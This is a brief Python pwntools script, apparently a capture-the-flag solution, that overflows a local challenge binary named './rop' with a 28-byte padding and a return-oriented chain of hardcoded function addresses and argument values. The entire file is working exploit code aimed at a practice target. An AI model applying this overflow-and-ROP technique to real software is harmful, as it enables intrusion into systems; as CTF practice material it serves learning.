#!/usr/bin/env python
# Author : 0xsegf
# https://github.com/arjunshibu
# https://www.hackthebox.eu/home/users/profile/201892
from pwn import *

#context.log_level = "critical"

win1 = p32(0x080485cb)
ret  = p32(0x08048470)
win2 = p32(0x080485d8)
flag = p32(0x0804862b)
arg1 = p32(0xBAAAAAAD)
arg2 = p32(0xDEADBAAD)

exploit = "A" * 28 + win1 + win2 + flag + arg1 + arg2

p = process('./rop')
print p.recvuntil('> ')
p.sendline(exploit)
print p.recv()